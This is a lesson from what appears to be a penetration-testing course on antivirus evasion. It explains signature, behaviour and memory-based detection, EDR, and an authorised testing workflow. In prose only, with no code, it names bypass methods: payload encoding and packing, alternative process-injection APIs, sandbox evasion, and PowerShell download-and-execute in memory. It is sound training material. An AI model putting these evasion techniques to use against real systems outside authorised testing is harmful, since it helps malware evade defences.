AV Evasion Basics 2026 — Signature vs Behaviour Detection and Bypass Techniques | Hacking Course Day33

The Endpoint Security Detection Stack

Understanding AV evasion requires understanding what you’re evading. Modern endpoint security is not a single tool with a single detection mechanism — it is a layered stack with multiple independent detection approaches, each covering different aspects of malicious activity. An evasion technique that defeats one layer may still be caught by another. The penetration tester’s goal is not to find the one perfect technique, but to understand which layers are deployed, what each layer detects, and how to measure whether evasion has succeeded or failed in the specific target environment.

The typical enterprise endpoint in 2026 runs three to four overlapping detection layers: signature-based static analysis (scanning files before execution), behaviour-based dynamic analysis (monitoring what processes do at runtime), memory scanning (detecting injected code in running processes), and in some cases application control (allowlisting approved executables). Each layer has strengths and gaps. The gap between signature detection and behaviour detection is the space that basic AV evasion occupies. The gap between behaviour detection and memory scanning is where more advanced evasion sits.

Signature-Based Detection — How It Works and Where It Fails

Signature-based detection is the oldest and most reliable form of AV detection for known threats. The AV vendor’s research team analyses malware samples, extracts identifying byte sequences or computes hashes of the full file or key sections, and adds these signatures to a database that ships to endpoint clients through definition updates. When the AV engine scans a file, it extracts the same byte patterns or computes the same hashes and compares against the signature database. A match triggers a detection and the file is quarantined or deleted.

The fundamental limitation of signature detection is that it only catches what the signature database contains — known threats. An attacker who creates a new variant of an existing tool by changing any part of the binary will produce different byte sequences and different hashes, defeating hash-based signatures. Even pattern-based signatures targeting specific byte sequences can be defeated by modifying the code around those sequences. This is why every major offensive security tool — Metasploit, Cobalt Strike, Mimikatz — is immediately detected by most AV products (their signatures are in every database), but a custom-compiled version of the same functionality may evade many products.

The signature detection failure modes that basic evasion exploits are: encoding (XOR or base64 transforms the byte values beyond the signature pattern range), compression (packing changes the binary structure entirely), code mutation (reordering instructions, adding dead code, changing variable names at the assembly level), and payload generation with random components (Metasploit’s encoder options try to randomise the generated shellcode).

Behaviour-Based Detection — API Monitoring and Heuristics

Behaviour-based detection shifted the detection target from “what a file looks like” to “what a process does at runtime.” The AV/EDR agent hooks into the Windows operating system at the API level — intercepting calls to sensitive Windows API functions as they happen. When a process calls VirtualAlloc to allocate executable memory, then calls WriteProcessMemory to write data to that memory, then calls CreateRemoteThread to execute code in another process — this specific sequence of API calls matches the classic process injection pattern and triggers a behaviour-based detection regardless of whether any individual call is itself malicious.

Behaviour detection is significantly more robust against obfuscation than signature detection because it monitors what the code does, not what the code looks like. An XOR-encoded payload that evades static signature scanning will still trigger behaviour detection if it performs the same API call sequence at runtime. This is the key insight: encoding and obfuscation defeat Layer 1 (signature scanning) but do nothing to defeat Layer 2 (behaviour monitoring) because the decoded payload still makes the same API calls.

Behaviour detection failure modes are more sophisticated to exploit: using less suspicious API combinations (e.g. NtCreateSection + NtMapViewOfSection instead of VirtualAlloc + WriteProcessMemory), sleeping before executing payload to avoid sandbox time limits, checking whether a real user is present before executing (sandbox detection), and executing from within a process that is expected to make similar API calls (e.g. injecting into a legitimate security product).

In-Memory Execution — Why It Evades File-Based Scanning

In-memory execution is one of the most effective evasion techniques against traditional AV because it targets the primary detection surface: files on disk. If a payload is never written to disk — if it only ever exists as bytes in the process’s RAM — then signature scanners that analyse files have nothing to scan. The payload is downloaded from the network or generated dynamically, loaded directly into executable memory, and run without persisting to the file system.

PowerShell’s Invoke-Expression (IEX) combined with Invoke-WebRequest or .NET’s System.Net.WebClient is the most commonly used in-memory execution path in real-world attacks and penetration tests. The payload is served from the attacker’s HTTP server as a string, downloaded to a variable in the PowerShell session, and executed with IEX — all in memory, no disk write. The Windows Event Log records the PowerShell command but the payload itself never touches the file system.

Modern EDR addresses in-memory execution through two mechanisms: PowerShell’s ScriptBlock Logging captures the decoded content of all PowerShell commands (including IEX payloads) to the Event Log; and Antimalware Scan Interface (AMSI) hooks into scripting runtimes (PowerShell, JScript, VBA) to scan code at runtime before execution, giving the AV engine visibility into the decoded payload content regardless of encoding.

Traditional AV vs Modern EDR — The Capability Gap

Traditional antivirus was designed in an era of known-malware threat models — the primary risk was users downloading infected files. The corresponding detection approach (signature scanning of files) was highly effective against that threat model. The shift to targeted attacks, living-off-the-land techniques, and fileless malware exposed the gap between this capability and actual enterprise threat coverage.

EDR (Endpoint Detection and Response) emerged to close this gap with four additional capabilities beyond traditional AV. Kernel-level API hooking gives EDR visibility into every sensitive Windows API call — not just detecting known call sequences, but logging all API activity for forensic analysis. Continuous telemetry sends process activity data to a cloud analytics platform in near-real-time, enabling detection of attack chains that span hours or days across multiple processes. Memory scanning actively scans process memory at intervals and on-write to detect injected shellcode patterns. Response capability — the R in EDR — allows security teams to remotely isolate a compromised endpoint, kill processes, and collect forensic artefacts.

For penetration testers, the practical implication is clear: techniques that evade traditional AV (encoding, packing, in-memory execution) have significantly reduced effectiveness against modern EDR. Evading EDR requires avoiding behaviourally suspicious API patterns, using legitimate system tools for execution (living off the land), operating from within trusted processes, and minimising the attack footprint to avoid triggering telemetry-based detection. Day 34 (payload obfuscation) and subsequent lessons in the course build these advanced techniques incrementally.

Core AV Evasion Concepts for Pentesters

The practical framework for AV evasion in authorised penetration testing follows a consistent logic regardless of the specific tools or techniques involved. First, determine which detection layers are active on the target endpoints — this comes from scope documentation, client conversations, or preliminary recon. Second, design the payload delivery to defeat the active layers — if only traditional AV is present, encoding may be sufficient; if EDR is present, in-memory execution with API call care is required. Third, test in a controlled environment before deployment — never test evasion directly on production systems.

The core evasion concept categories are: static evasion (changing how the payload looks on disk — encoding, packing, custom compilation); dynamic evasion (changing what the payload does at runtime — alternative API calls, sleep evasion, sandbox detection); delivery evasion (how the payload reaches the target — living off the land, LOLBins, script-based delivery that avoids disk writes); and operational evasion (limiting activity footprint — minimal API calls, avoiding known signature patterns, staying within expected process behaviour).

The AV Evasion Testing Workflow

In an authorised penetration test where AV bypass is in scope, the workflow follows a structured approach that prioritises client safety and evidence quality. The first step is threat intelligence: understand which AV and EDR products are deployed on the target endpoints. This comes from the scoping document, pre-engagement interviews, or sometimes from enumeration early in the test. The AV product family determines which detection capabilities are active and which published bypass techniques are relevant.

The second step is controlled testing in an isolated environment that mirrors the target. If the client uses CrowdStrike Falcon, the penetration tester should test their payload against a CrowdStrike-protected VM before deploying to the production test environment. This prevents detection events on the production system before the team is ready, preserves the element of surprise for the final payload test, and produces more useful findings (confirmed bypass vs confirmed detection) than an ad hoc approach.

The final step is documented evidence collection. AV evasion findings require particularly clear documentation: the exact payload (hash), the detection environment (AV product + version + definition date), the test result (detected at which layer, or evaded), and the recommended remediation. Day 34 continues with the specific obfuscation and encoding techniques that implement this framework in practice.